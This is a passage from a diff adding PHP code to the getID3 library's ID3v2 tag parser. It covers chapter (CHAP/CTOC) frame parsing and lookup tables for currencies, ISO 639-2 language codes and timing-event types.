+					$subframe = array();
+					$subframe['name']      =                           substr($parsedFrame['data'], $frame_offset, 4);
+					$frame_offset += 4;
+					$subframe['size']      = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 4));
+					$frame_offset += 4;
+					$subframe['flags_raw'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 2));
+					$frame_offset += 2;
+					if ($subframe['size'] > (strlen($parsedFrame['data']) - $frame_offset)) {
+						$this->warning('CHAP subframe "'.$subframe['name'].'" at frame offset '.$frame_offset.' claims to be "'.$subframe['size'].'" bytes, which is more than the available data ('.(strlen($parsedFrame['data']) - $frame_offset).' bytes)');
+						break;
+					}
+					$subframe_rawdata = substr($parsedFrame['data'], $frame_offset, $subframe['size']);
+					$frame_offset += $subframe['size'];
+
+					$subframe['encodingid'] = ord(substr($subframe_rawdata, 0, 1));
+					$subframe['text']       =     substr($subframe_rawdata, 1);
+					$subframe['encoding']   = $this->TextEncodingNameLookup($subframe['encodingid']);
+					$encoding_converted_text = trim(getid3_lib::iconv_fallback($subframe['encoding'], $info['encoding'], $subframe['text']));;
+					switch (substr($encoding_converted_text, 0, 2)) {
+						case "\xFF\xFE":
+						case "\xFE\xFF":
+							switch (strtoupper($info['id3v2']['encoding'])) {
+								case 'ISO-8859-1':
+								case 'UTF-8':
+									$encoding_converted_text = substr($encoding_converted_text, 2);
+									// remove unwanted byte-order-marks
+									break;
+								default:
+									// ignore
+									break;
+							}
+							break;
+						default:
+							// do not remove BOM
+							break;
+					}
+
+					if (($subframe['name'] == 'TIT2') || ($subframe['name'] == 'TIT3')) {
+						if ($subframe['name'] == 'TIT2') {
+							$parsedFrame['chapter_name']        = $encoding_converted_text;
+						} elseif ($subframe['name'] == 'TIT3') {
+							$parsedFrame['chapter_description'] = $encoding_converted_text;
+						}
+						$parsedFrame['subframes'][] = $subframe;
+					} else {
+						$this->warning('ID3v2.CHAP subframe "'.$subframe['name'].'" not handled (only TIT2 and TIT3)');
+					}
+				}
+				unset($subframe_rawdata, $subframe, $encoding_converted_text);
+			}
+
+			$id3v2_chapter_entry = array();
+			foreach (array('id', 'time_begin', 'time_end', 'offset_begin', 'offset_end', 'chapter_name', 'chapter_description') as $id3v2_chapter_key) {
+				if (isset($parsedFrame[$id3v2_chapter_key])) {
+					$id3v2_chapter_entry[$id3v2_chapter_key] = $parsedFrame[$id3v2_chapter_key];
+				}
+			}
+			if (!isset($info['id3v2']['chapters'])) {
+				$info['id3v2']['chapters'] = array();
+			}
+			$info['id3v2']['chapters'][] = $id3v2_chapter_entry;
+			unset($id3v2_chapter_entry, $id3v2_chapter_key);
+
+
+		} elseif (($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'CTOC')) { // CTOC Chapters Table Of Contents frame (ID3v2.3+ only)
+			// http://id3.org/id3v2-chapters-1.0
+			// <ID3v2.3 or ID3v2.4 frame header, ID: "CTOC">           (10 bytes)
+			// Element ID      <text string> $00
+			// CTOC flags        %xx
+			// Entry count       $xx
+			// Child Element ID  <string>$00   /* zero or more child CHAP or CTOC entries */
+            // <Optional embedded sub-frames>
+
+			$frame_offset = 0;
+			@list($parsedFrame['element_id']) = explode("\x00", $parsedFrame['data'], 2);
+			$frame_offset += strlen($parsedFrame['element_id']."\x00");
+			$ctoc_flags_raw = ord(substr($parsedFrame['data'], $frame_offset, 1));
+			$frame_offset += 1;
+			$parsedFrame['entry_count'] = ord(substr($parsedFrame['data'], $frame_offset, 1));
+			$frame_offset += 1;
+
+			$terminator_position = null;
+			for ($i = 0; $i < $parsedFrame['entry_count']; $i++) {
+				$terminator_position = strpos($parsedFrame['data'], "\x00", $frame_offset);
+				$parsedFrame['child_element_ids'][$i] = substr($parsedFrame['data'], $frame_offset, $terminator_position - $frame_offset);
+				$frame_offset = $terminator_position + 1;
+			}
+
+			$parsedFrame['ctoc_flags']['ordered']   = (bool) ($ctoc_flags_raw & 0x01);
+			$parsedFrame['ctoc_flags']['top_level'] = (bool) ($ctoc_flags_raw & 0x03);
+
+			unset($ctoc_flags_raw, $terminator_position);
+
+			if ($frame_offset < strlen($parsedFrame['data'])) {
+				$parsedFrame['subframes'] = array();
+				while ($frame_offset < strlen($parsedFrame['data'])) {
+					// <Optional embedded sub-frames>
+					$subframe = array();
+					$subframe['name']      =                           substr($parsedFrame['data'], $frame_offset, 4);
+					$frame_offset += 4;
+					$subframe['size']      = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 4));
+					$frame_offset += 4;
+					$subframe['flags_raw'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 2));
+					$frame_offset += 2;
+					if ($subframe['size'] > (strlen($parsedFrame['data']) - $frame_offset)) {
+						$this->warning('CTOS subframe "'.$subframe['name'].'" at frame offset '.$frame_offset.' claims to be "'.$subframe['size'].'" bytes, which is more than the available data ('.(strlen($parsedFrame['data']) - $frame_offset).' bytes)');
+						break;
+					}
+					$subframe_rawdata = substr($parsedFrame['data'], $frame_offset, $subframe['size']);
+					$frame_offset += $subframe['size'];
+
+					$subframe['encodingid'] = ord(substr($subframe_rawdata, 0, 1));
+					$subframe['text']       =     substr($subframe_rawdata, 1);
+					$subframe['encoding']   = $this->TextEncodingNameLookup($subframe['encodingid']);
+					$encoding_converted_text = trim(getid3_lib::iconv_fallback($subframe['encoding'], $info['encoding'], $subframe['text']));;
+					switch (substr($encoding_converted_text, 0, 2)) {
+						case "\xFF\xFE":
+						case "\xFE\xFF":
+							switch (strtoupper($info['id3v2']['encoding'])) {
+								case 'ISO-8859-1':
+								case 'UTF-8':
+									$encoding_converted_text = substr($encoding_converted_text, 2);
+									// remove unwanted byte-order-marks
+									break;
+								default:
+									// ignore
+									break;
+							}
+							break;
+						default:
+							// do not remove BOM
+							break;
+					}
+
+					if (($subframe['name'] == 'TIT2') || ($subframe['name'] == 'TIT3')) {
+						if ($subframe['name'] == 'TIT2') {
+							$parsedFrame['toc_name']        = $encoding_converted_text;
+						} elseif ($subframe['name'] == 'TIT3') {
+							$parsedFrame['toc_description'] = $encoding_converted_text;
+						}
+						$parsedFrame['subframes'][] = $subframe;
+					} else {
+						$this->warning('ID3v2.CTOC subframe "'.$subframe['name'].'" not handled (only TIT2 and TIT3)');
+					}
+				}
+				unset($subframe_rawdata, $subframe, $encoding_converted_text);
+			}
+
+		}
+
+		return true;
+	}
+
+
+	public function DeUnsynchronise($data) {
+		return str_replace("\xFF\x00", "\xFF", $data);
+	}
+
+	public function LookupExtendedHeaderRestrictionsTagSizeLimits($index) {
+		static $LookupExtendedHeaderRestrictionsTagSizeLimits = array(
+			0x00 => 'No more than 128 frames and 1 MB total tag size',
+			0x01 => 'No more than 64 frames and 128 KB total tag size',
+			0x02 => 'No more than 32 frames and 40 KB total tag size',
+			0x03 => 'No more than 32 frames and 4 KB total tag size',
+		);
+		return (isset($LookupExtendedHeaderRestrictionsTagSizeLimits[$index]) ? $LookupExtendedHeaderRestrictionsTagSizeLimits[$index] : '');
+	}
+
+	public function LookupExtendedHeaderRestrictionsTextEncodings($index) {
+		static $LookupExtendedHeaderRestrictionsTextEncodings = array(
+			0x00 => 'No restrictions',
+			0x01 => 'Strings are only encoded with ISO-8859-1 or UTF-8',
+		);
+		return (isset($LookupExtendedHeaderRestrictionsTextEncodings[$index]) ? $LookupExtendedHeaderRestrictionsTextEncodings[$index] : '');
+	}
+
+	public function LookupExtendedHeaderRestrictionsTextFieldSize($index) {
+		static $LookupExtendedHeaderRestrictionsTextFieldSize = array(
+			0x00 => 'No restrictions',
+			0x01 => 'No string is longer than 1024 characters',
+			0x02 => 'No string is longer than 128 characters',
+			0x03 => 'No string is longer than 30 characters',
+		);
+		return (isset($LookupExtendedHeaderRestrictionsTextFieldSize[$index]) ? $LookupExtendedHeaderRestrictionsTextFieldSize[$index] : '');
+	}
+
+	public function LookupExtendedHeaderRestrictionsImageEncoding($index) {
+		static $LookupExtendedHeaderRestrictionsImageEncoding = array(
+			0x00 => 'No restrictions',
+			0x01 => 'Images are encoded only with PNG or JPEG',
+		);
+		return (isset($LookupExtendedHeaderRestrictionsImageEncoding[$index]) ? $LookupExtendedHeaderRestrictionsImageEncoding[$index] : '');
+	}
+
+	public function LookupExtendedHeaderRestrictionsImageSizeSize($index) {
+		static $LookupExtendedHeaderRestrictionsImageSizeSize = array(
+			0x00 => 'No restrictions',
+			0x01 => 'All images are 256x256 pixels or smaller',
+			0x02 => 'All images are 64x64 pixels or smaller',
+			0x03 => 'All images are exactly 64x64 pixels, unless required otherwise',
+		);
+		return (isset($LookupExtendedHeaderRestrictionsImageSizeSize[$index]) ? $LookupExtendedHeaderRestrictionsImageSizeSize[$index] : '');
+	}
+
+	public function LookupCurrencyUnits($currencyid) {
+
+		$begin = __LINE__;
+
+		/** This is not a comment!
+
+
+			AED	Dirhams
+			AFA	Afghanis
+			ALL	Leke
+			AMD	Drams
+			ANG	Guilders
+			AOA	Kwanza
+			ARS	Pesos
+			ATS	Schillings
+			AUD	Dollars
+			AWG	Guilders
+			AZM	Manats
+			BAM	Convertible Marka
+			BBD	Dollars
+			BDT	Taka
+			BEF	Francs
+			BGL	Leva
+			BHD	Dinars
+			BIF	Francs
+			BMD	Dollars
+			BND	Dollars
+			BOB	Bolivianos
+			BRL	Brazil Real
+			BSD	Dollars
+			BTN	Ngultrum
+			BWP	Pulas
+			BYR	Rubles
+			BZD	Dollars
+			CAD	Dollars
+			CDF	Congolese Francs
+			CHF	Francs
+			CLP	Pesos
+			CNY	Yuan Renminbi
+			COP	Pesos
+			CRC	Colones
+			CUP	Pesos
+			CVE	Escudos
+			CYP	Pounds
+			CZK	Koruny
+			DEM	Deutsche Marks
+			DJF	Francs
+			DKK	Kroner
+			DOP	Pesos
+			DZD	Algeria Dinars
+			EEK	Krooni
+			EGP	Pounds
+			ERN	Nakfa
+			ESP	Pesetas
+			ETB	Birr
+			EUR	Euro
+			FIM	Markkaa
+			FJD	Dollars
+			FKP	Pounds
+			FRF	Francs
+			GBP	Pounds
+			GEL	Lari
+			GGP	Pounds
+			GHC	Cedis
+			GIP	Pounds
+			GMD	Dalasi
+			GNF	Francs
+			GRD	Drachmae
+			GTQ	Quetzales
+			GYD	Dollars
+			HKD	Dollars
+			HNL	Lempiras
+			HRK	Kuna
+			HTG	Gourdes
+			HUF	Forints
+			IDR	Rupiahs
+			IEP	Pounds
+			ILS	New Shekels
+			IMP	Pounds
+			INR	Rupees
+			IQD	Dinars
+			IRR	Rials
+			ISK	Kronur
+			ITL	Lire
+			JEP	Pounds
+			JMD	Dollars
+			JOD	Dinars
+			JPY	Yen
+			KES	Shillings
+			KGS	Soms
+			KHR	Riels
+			KMF	Francs
+			KPW	Won
+			KWD	Dinars
+			KYD	Dollars
+			KZT	Tenge
+			LAK	Kips
+			LBP	Pounds
+			LKR	Rupees
+			LRD	Dollars
+			LSL	Maloti
+			LTL	Litai
+			LUF	Francs
+			LVL	Lati
+			LYD	Dinars
+			MAD	Dirhams
+			MDL	Lei
+			MGF	Malagasy Francs
+			MKD	Denars
+			MMK	Kyats
+			MNT	Tugriks
+			MOP	Patacas
+			MRO	Ouguiyas
+			MTL	Liri
+			MUR	Rupees
+			MVR	Rufiyaa
+			MWK	Kwachas
+			MXN	Pesos
+			MYR	Ringgits
+			MZM	Meticais
+			NAD	Dollars
+			NGN	Nairas
+			NIO	Gold Cordobas
+			NLG	Guilders
+			NOK	Krone
+			NPR	Nepal Rupees
+			NZD	Dollars
+			OMR	Rials
+			PAB	Balboa
+			PEN	Nuevos Soles
+			PGK	Kina
+			PHP	Pesos
+			PKR	Rupees
+			PLN	Zlotych
+			PTE	Escudos
+			PYG	Guarani
+			QAR	Rials
+			ROL	Lei
+			RUR	Rubles
+			RWF	Rwanda Francs
+			SAR	Riyals
+			SBD	Dollars
+			SCR	Rupees
+			SDD	Dinars
+			SEK	Kronor
+			SGD	Dollars
+			SHP	Pounds
+			SIT	Tolars
+			SKK	Koruny
+			SLL	Leones
+			SOS	Shillings
+			SPL	Luigini
+			SRG	Guilders
+			STD	Dobras
+			SVC	Colones
+			SYP	Pounds
+			SZL	Emalangeni
+			THB	Baht
+			TJR	Rubles
+			TMM	Manats
+			TND	Dinars
+			TOP	Pa'anga
+			TRL	Liras
+			TTD	Dollars
+			TVD	Tuvalu Dollars
+			TWD	New Dollars
+			TZS	Shillings
+			UAH	Hryvnia
+			UGX	Shillings
+			USD	Dollars
+			UYU	Pesos
+			UZS	Sums
+			VAL	Lire
+			VEB	Bolivares
+			VND	Dong
+			VUV	Vatu
+			WST	Tala
+			XAF	Francs
+			XAG	Ounces
+			XAU	Ounces
+			XCD	Dollars
+			XDR	Special Drawing Rights
+			XPD	Ounces
+			XPF	Francs
+			XPT	Ounces
+			YER	Rials
+			YUM	New Dinars
+			ZAR	Rand
+			ZMK	Kwacha
+			ZWD	Zimbabwe Dollars
+
+		*/
+
+		return getid3_lib::EmbeddedLookup($currencyid, $begin, __LINE__, __FILE__, 'id3v2-currency-units');
+	}
+
+
+	public function LookupCurrencyCountry($currencyid) {
+
+		$begin = __LINE__;
+
+		/** This is not a comment!
+
+			AED	United Arab Emirates
+			AFA	Afghanistan
+			ALL	Albania
+			AMD	Armenia
+			ANG	Netherlands Antilles
+			AOA	Angola
+			ARS	Argentina
+			ATS	Austria
+			AUD	Australia
+			AWG	Aruba
+			AZM	Azerbaijan
+			BAM	Bosnia and Herzegovina
+			BBD	Barbados
+			BDT	Bangladesh
+			BEF	Belgium
+			BGL	Bulgaria
+			BHD	Bahrain
+			BIF	Burundi
+			BMD	Bermuda
+			BND	Brunei Darussalam
+			BOB	Bolivia
+			BRL	Brazil
+			BSD	Bahamas
+			BTN	Bhutan
+			BWP	Botswana
+			BYR	Belarus
+			BZD	Belize
+			CAD	Canada
+			CDF	Congo/Kinshasa
+			CHF	Switzerland
+			CLP	Chile
+			CNY	China
+			COP	Colombia
+			CRC	Costa Rica
+			CUP	Cuba
+			CVE	Cape Verde
+			CYP	Cyprus
+			CZK	Czech Republic
+			DEM	Germany
+			DJF	Djibouti
+			DKK	Denmark
+			DOP	Dominican Republic
+			DZD	Algeria
+			EEK	Estonia
+			EGP	Egypt
+			ERN	Eritrea
+			ESP	Spain
+			ETB	Ethiopia
+			EUR	Euro Member Countries
+			FIM	Finland
+			FJD	Fiji
+			FKP	Falkland Islands (Malvinas)
+			FRF	France
+			GBP	United Kingdom
+			GEL	Georgia
+			GGP	Guernsey
+			GHC	Ghana
+			GIP	Gibraltar
+			GMD	Gambia
+			GNF	Guinea
+			GRD	Greece
+			GTQ	Guatemala
+			GYD	Guyana
+			HKD	Hong Kong
+			HNL	Honduras
+			HRK	Croatia
+			HTG	Haiti
+			HUF	Hungary
+			IDR	Indonesia
+			IEP	Ireland (Eire)
+			ILS	Israel
+			IMP	Isle of Man
+			INR	India
+			IQD	Iraq
+			IRR	Iran
+			ISK	Iceland
+			ITL	Italy
+			JEP	Jersey
+			JMD	Jamaica
+			JOD	Jordan
+			JPY	Japan
+			KES	Kenya
+			KGS	Kyrgyzstan
+			KHR	Cambodia
+			KMF	Comoros
+			KPW	Korea
+			KWD	Kuwait
+			KYD	Cayman Islands
+			KZT	Kazakstan
+			LAK	Laos
+			LBP	Lebanon
+			LKR	Sri Lanka
+			LRD	Liberia
+			LSL	Lesotho
+			LTL	Lithuania
+			LUF	Luxembourg
+			LVL	Latvia
+			LYD	Libya
+			MAD	Morocco
+			MDL	Moldova
+			MGF	Madagascar
+			MKD	Macedonia
+			MMK	Myanmar (Burma)
+			MNT	Mongolia
+			MOP	Macau
+			MRO	Mauritania
+			MTL	Malta
+			MUR	Mauritius
+			MVR	Maldives (Maldive Islands)
+			MWK	Malawi
+			MXN	Mexico
+			MYR	Malaysia
+			MZM	Mozambique
+			NAD	Namibia
+			NGN	Nigeria
+			NIO	Nicaragua
+			NLG	Netherlands (Holland)
+			NOK	Norway
+			NPR	Nepal
+			NZD	New Zealand
+			OMR	Oman
+			PAB	Panama
+			PEN	Peru
+			PGK	Papua New Guinea
+			PHP	Philippines
+			PKR	Pakistan
+			PLN	Poland
+			PTE	Portugal
+			PYG	Paraguay
+			QAR	Qatar
+			ROL	Romania
+			RUR	Russia
+			RWF	Rwanda
+			SAR	Saudi Arabia
+			SBD	Solomon Islands
+			SCR	Seychelles
+			SDD	Sudan
+			SEK	Sweden
+			SGD	Singapore
+			SHP	Saint Helena
+			SIT	Slovenia
+			SKK	Slovakia
+			SLL	Sierra Leone
+			SOS	Somalia
+			SPL	Seborga
+			SRG	Suriname
+			STD	São Tome and Principe
+			SVC	El Salvador
+			SYP	Syria
+			SZL	Swaziland
+			THB	Thailand
+			TJR	Tajikistan
+			TMM	Turkmenistan
+			TND	Tunisia
+			TOP	Tonga
+			TRL	Turkey
+			TTD	Trinidad and Tobago
+			TVD	Tuvalu
+			TWD	Taiwan
+			TZS	Tanzania
+			UAH	Ukraine
+			UGX	Uganda
+			USD	United States of America
+			UYU	Uruguay
+			UZS	Uzbekistan
+			VAL	Vatican City
+			VEB	Venezuela
+			VND	Viet Nam
+			VUV	Vanuatu
+			WST	Samoa
+			XAF	Communauté Financière Africaine
+			XAG	Silver
+			XAU	Gold
+			XCD	East Caribbean
+			XDR	International Monetary Fund
+			XPD	Palladium
+			XPF	Comptoirs Français du Pacifique
+			XPT	Platinum
+			YER	Yemen
+			YUM	Yugoslavia
+			ZAR	South Africa
+			ZMK	Zambia
+			ZWD	Zimbabwe
+
+		*/
+
+		return getid3_lib::EmbeddedLookup($currencyid, $begin, __LINE__, __FILE__, 'id3v2-currency-country');
+	}
+
+
+
+	public static function LanguageLookup($languagecode, $casesensitive=false) {
+
+		if (!$casesensitive) {
+			$languagecode = strtolower($languagecode);
+		}
+
+		// http://www.id3.org/id3v2.4.0-structure.txt
+		// [4.   ID3v2 frame overview]
+		// The three byte language field, present in several frames, is used to
+		// describe the language of the frame's content, according to ISO-639-2
+		// [ISO-639-2]. The language should be represented in lower case. If the
+		// language is not known the string "XXX" should be used.
+
+
+		// ISO 639-2 - http://www.id3.org/iso639-2.html
+
+		$begin = __LINE__;
+
+		/** This is not a comment!
+
+			XXX	unknown
+			xxx	unknown
+			aar	Afar
+			abk	Abkhazian
+			ace	Achinese
+			ach	Acoli
+			ada	Adangme
+			afa	Afro-Asiatic (Other)
+			afh	Afrihili
+			afr	Afrikaans
+			aka	Akan
+			akk	Akkadian
+			alb	Albanian
+			ale	Aleut
+			alg	Algonquian Languages
+			amh	Amharic
+			ang	English, Old (ca. 450-1100)
+			apa	Apache Languages
+			ara	Arabic
+			arc	Aramaic
+			arm	Armenian
+			arn	Araucanian
+			arp	Arapaho
+			art	Artificial (Other)
+			arw	Arawak
+			asm	Assamese
+			ath	Athapascan Languages
+			ava	Avaric
+			ave	Avestan
+			awa	Awadhi
+			aym	Aymara
+			aze	Azerbaijani
+			bad	Banda
+			bai	Bamileke Languages
+			bak	Bashkir
+			bal	Baluchi
+			bam	Bambara
+			ban	Balinese
+			baq	Basque
+			bas	Basa
+			bat	Baltic (Other)
+			bej	Beja
+			bel	Byelorussian
+			bem	Bemba
+			ben	Bengali
+			ber	Berber (Other)
+			bho	Bhojpuri
+			bih	Bihari
+			bik	Bikol
+			bin	Bini
+			bis	Bislama
+			bla	Siksika
+			bnt	Bantu (Other)
+			bod	Tibetan
+			bra	Braj
+			bre	Breton
+			bua	Buriat
+			bug	Buginese
+			bul	Bulgarian
+			bur	Burmese
+			cad	Caddo
+			cai	Central American Indian (Other)
+			car	Carib
+			cat	Catalan
+			cau	Caucasian (Other)
+			ceb	Cebuano
+			cel	Celtic (Other)
+			ces	Czech
+			cha	Chamorro
+			chb	Chibcha
+			che	Chechen
+			chg	Chagatai
+			chi	Chinese
+			chm	Mari
+			chn	Chinook jargon
+			cho	Choctaw
+			chr	Cherokee
+			chu	Church Slavic
+			chv	Chuvash
+			chy	Cheyenne
+			cop	Coptic
+			cor	Cornish
+			cos	Corsican
+			cpe	Creoles and Pidgins, English-based (Other)
+			cpf	Creoles and Pidgins, French-based (Other)
+			cpp	Creoles and Pidgins, Portuguese-based (Other)
+			cre	Cree
+			crp	Creoles and Pidgins (Other)
+			cus	Cushitic (Other)
+			cym	Welsh
+			cze	Czech
+			dak	Dakota
+			dan	Danish
+			del	Delaware
+			deu	German
+			din	Dinka
+			div	Divehi
+			doi	Dogri
+			dra	Dravidian (Other)
+			dua	Duala
+			dum	Dutch, Middle (ca. 1050-1350)
+			dut	Dutch
+			dyu	Dyula
+			dzo	Dzongkha
+			efi	Efik
+			egy	Egyptian (Ancient)
+			eka	Ekajuk
+			ell	Greek, Modern (1453-)
+			elx	Elamite
+			eng	English
+			enm	English, Middle (ca. 1100-1500)
+			epo	Esperanto
+			esk	Eskimo (Other)
+			esl	Spanish
+			est	Estonian
+			eus	Basque
+			ewe	Ewe
+			ewo	Ewondo
+			fan	Fang
+			fao	Faroese
+			fas	Persian
+			fat	Fanti
+			fij	Fijian
+			fin	Finnish
+			fiu	Finno-Ugrian (Other)
+			fon	Fon
+			fra	French
+			fre	French
+			frm	French, Middle (ca. 1400-1600)
+			fro	French, Old (842- ca. 1400)
+			fry	Frisian
+			ful	Fulah
+			gaa	Ga
+			gae	Gaelic (Scots)
+			gai	Irish
+			gay	Gayo
+			gdh	Gaelic (Scots)
+			gem	Germanic (Other)
+			geo	Georgian
+			ger	German
+			gez	Geez
+			gil	Gilbertese
+			glg	Gallegan
+			gmh	German, Middle High (ca. 1050-1500)
+			goh	German, Old High (ca. 750-1050)
+			gon	Gondi
+			got	Gothic
+			grb	Grebo
+			grc	Greek, Ancient (to 1453)
+			gre	Greek, Modern (1453-)
+			grn	Guarani
+			guj	Gujarati
+			hai	Haida
+			hau	Hausa
+			haw	Hawaiian
+			heb	Hebrew
+			her	Herero
+			hil	Hiligaynon
+			him	Himachali
+			hin	Hindi
+			hmo	Hiri Motu
+			hun	Hungarian
+			hup	Hupa
+			hye	Armenian
+			iba	Iban
+			ibo	Igbo
+			ice	Icelandic
+			ijo	Ijo
+			iku	Inuktitut
+			ilo	Iloko
+			ina	Interlingua (International Auxiliary language Association)
+			inc	Indic (Other)
+			ind	Indonesian
+			ine	Indo-European (Other)
+			ine	Interlingue
+			ipk	Inupiak
+			ira	Iranian (Other)
+			iri	Irish
+			iro	Iroquoian uages
+			isl	Icelandic
+			ita	Italian
+			jav	Javanese
+			jaw	Javanese
+			jpn	Japanese
+			jpr	Judeo-Persian
+			jrb	Judeo-Arabic
+			kaa	Kara-Kalpak
+			kab	Kabyle
+			kac	Kachin
+			kal	Greenlandic
+			kam	Kamba
+			kan	Kannada
+			kar	Karen
+			kas	Kashmiri
+			kat	Georgian
+			kau	Kanuri
+			kaw	Kawi
+			kaz	Kazakh
+			kha	Khasi
+			khi	Khoisan (Other)
+			khm	Khmer
+			kho	Khotanese
+			kik	Kikuyu
+			kin	Kinyarwanda
+			kir	Kirghiz
+			kok	Konkani
+			kom	Komi
+			kon	Kongo
+			kor	Korean
+			kpe	Kpelle
+			kro	Kru
+			kru	Kurukh
+			kua	Kuanyama
+			kum	Kumyk
+			kur	Kurdish
+			kus	Kusaie
+			kut	Kutenai
+			lad	Ladino
+			lah	Lahnda
+			lam	Lamba
+			lao	Lao
+			lat	Latin
+			lav	Latvian
+			lez	Lezghian
+			lin	Lingala
+			lit	Lithuanian
+			lol	Mongo
+			loz	Lozi
+			ltz	Letzeburgesch
+			lub	Luba-Katanga
+			lug	Ganda
+			lui	Luiseno
+			lun	Lunda
+			luo	Luo (Kenya and Tanzania)
+			mac	Macedonian
+			mad	Madurese
+			mag	Magahi
+			mah	Marshall
+			mai	Maithili
+			mak	Macedonian
+			mak	Makasar
+			mal	Malayalam
+			man	Mandingo
+			mao	Maori
+			map	Austronesian (Other)
+			mar	Marathi
+			mas	Masai
+			max	Manx
+			may	Malay
+			men	Mende
+			mga	Irish, Middle (900 - 1200)
+			mic	Micmac
+			min	Minangkabau
+			mis	Miscellaneous (Other)
+			mkh	Mon-Kmer (Other)
+			mlg	Malagasy
+			mlt	Maltese
+			mni	Manipuri
+			mno	Manobo Languages
+			moh	Mohawk
+			mol	Moldavian
+			mon	Mongolian
+			mos	Mossi
+			mri	Maori
+			msa	Malay
+			mul	Multiple Languages
+			mun	Munda Languages
+			mus	Creek
+			mwr	Marwari
+			mya	Burmese
+			myn	Mayan Languages
+			nah	Aztec
+			nai	North American Indian (Other)
+			nau	Nauru
+			nav	Navajo
+			nbl	Ndebele, South
+			nde	Ndebele, North
+			ndo	Ndongo
+			nep	Nepali
+			new	Newari
+			nic	Niger-Kordofanian (Other)
+			niu	Niuean
+			nla	Dutch
+			nno	Norwegian (Nynorsk)
+			non	Norse, Old
+			nor	Norwegian
+			nso	Sotho, Northern
+			nub	Nubian Languages
+			nya	Nyanja
+			nym	Nyamwezi
+			nyn	Nyankole
+			nyo	Nyoro
+			nzi	Nzima
+			oci	Langue d'Oc (post 1500)
+			oji	Ojibwa
+			ori	Oriya
+			orm	Oromo
+			osa	Osage
+			oss	Ossetic
+			ota	Turkish, Ottoman (1500 - 1928)
+			oto	Otomian Languages
+			paa	Papuan-Australian (Other)
+			pag	Pangasinan
+			pal	Pahlavi
+			pam	Pampanga
+			pan	Panjabi
+			pap	Papiamento
+			pau	Palauan
+			peo	Persian, Old (ca 600 - 400 B.C.)
+			per	Persian
+			phn	Phoenician
+			pli	Pali
+			pol	Polish
+			pon	Ponape
+			por	Portuguese
+			pra	Prakrit uages
+			pro	Provencal, Old (to 1500)
+			pus	Pushto
+			que	Quechua
+			raj	Rajasthani
+			rar	Rarotongan
+			roa	Romance (Other)
+			roh	Rhaeto-Romance
+			rom	Romany
+			ron	Romanian
+			rum	Romanian
+			run	Rundi
+			rus	Russian
+			sad	Sandawe
+			sag	Sango
+			sah	Yakut
+			sai	South American Indian (Other)
+			sal	Salishan Languages
+			sam	Samaritan Aramaic
+			san	Sanskrit
+			sco	Scots
+			scr	Serbo-Croatian
+			sel	Selkup
+			sem	Semitic (Other)
+			sga	Irish, Old (to 900)
+			shn	Shan
+			sid	Sidamo
+			sin	Singhalese
+			sio	Siouan Languages
+			sit	Sino-Tibetan (Other)
+			sla	Slavic (Other)
+			slk	Slovak
+			slo	Slovak
+			slv	Slovenian
+			smi	Sami Languages
+			smo	Samoan
+			sna	Shona
+			snd	Sindhi
+			sog	Sogdian
+			som	Somali
+			son	Songhai
+			sot	Sotho, Southern
+			spa	Spanish
+			sqi	Albanian
+			srd	Sardinian
+			srr	Serer
+			ssa	Nilo-Saharan (Other)
+			ssw	Siswant
+			ssw	Swazi
+			suk	Sukuma
+			sun	Sudanese
+			sus	Susu
+			sux	Sumerian
+			sve	Swedish
+			swa	Swahili
+			swe	Swedish
+			syr	Syriac
+			tah	Tahitian
+			tam	Tamil
+			tat	Tatar
+			tel	Telugu
+			tem	Timne
+			ter	Tereno
+			tgk	Tajik
+			tgl	Tagalog
+			tha	Thai
+			tib	Tibetan
+			tig	Tigre
+			tir	Tigrinya
+			tiv	Tivi
+			tli	Tlingit
+			tmh	Tamashek
+			tog	Tonga (Nyasa)
+			ton	Tonga (Tonga Islands)
+			tru	Truk
+			tsi	Tsimshian
+			tsn	Tswana
+			tso	Tsonga
+			tuk	Turkmen
+			tum	Tumbuka
+			tur	Turkish
+			tut	Altaic (Other)
+			twi	Twi
+			tyv	Tuvinian
+			uga	Ugaritic
+			uig	Uighur
+			ukr	Ukrainian
+			umb	Umbundu
+			und	Undetermined
+			urd	Urdu
+			uzb	Uzbek
+			vai	Vai
+			ven	Venda
+			vie	Vietnamese
+			vol	Volapük
+			vot	Votic
+			wak	Wakashan Languages
+			wal	Walamo
+			war	Waray
+			was	Washo
+			wel	Welsh
+			wen	Sorbian Languages
+			wol	Wolof
+			xho	Xhosa
+			yao	Yao
+			yap	Yap
+			yid	Yiddish
+			yor	Yoruba
+			zap	Zapotec
+			zen	Zenaga
+			zha	Zhuang
+			zho	Chinese
+			zul	Zulu
+			zun	Zuni
+
+		*/
+
+		return getid3_lib::EmbeddedLookup($languagecode, $begin, __LINE__, __FILE__, 'id3v2-languagecode');
+	}
+
+
+	public static function ETCOEventLookup($index) {
+		if (($index >= 0x17) && ($index <= 0xDF)) {
+			return 'reserved for future use';
+		}
+		if (($index >= 0xE0) && ($index <= 0xEF)) {
+			return 'not predefined synch 0-F';
+		}
+		if (($index >= 0xF0) && ($index <= 0xFC)) {
+			return 'reserved for future use';
+		}
+
+		static $EventLookup = array(
+			0x00 => 'padding (has no meaning)',
+			0x01 => 'end of initial silence',
+			0x02 => 'intro start',
+			0x03 => 'main part start',
+			0x04 => 'outro start',
+			0x05 => 'outro end',
+			0x06 => 'verse start',
+			0x07 => 'refrain start',
+			0x08 => 'interlude start',
+			0x09 => 'theme start',
+			0x0A => 'variation start',
+			0x0B => 'key change',
+			0x0C => 'time change',
+			0x0D => 'momentary unwanted noise (Snap, Crackle & Pop)',
+			0x0E => 'sustained noise',
+			0x0F => 'sustained noise end',
+			0x10 => 'intro end',
+			0x11 => 'main part end',
+			0x12 => 'verse end',
+			0x13 => 'refrain end',
+			0x14 => 'theme end',
+			0x15 => 'profanity',
+			0x16 => 'profanity end',
+			0xFD => 'audio end (start of silence)',
+			0xFE => 'audio file ends',
+			0xFF => 'one more byte of events follows'
+		);
+
+		return (isset($EventLookup[$index]) ? $EventLookup[$index] : '');
+	}
+
+	public static function SYTLContentTypeLookup($index) {
+		static $SYTLContentTypeLookup = array(
+			0x00 => 'other',
+			0x01 => 'lyrics',
+			0x02 => 'text transcription',
+			0x03 => 'movement/part name', // (e.g. 'Adagio')
+			0x04 => 'events',             // (e.g. 'Don Quijote enters the stage')
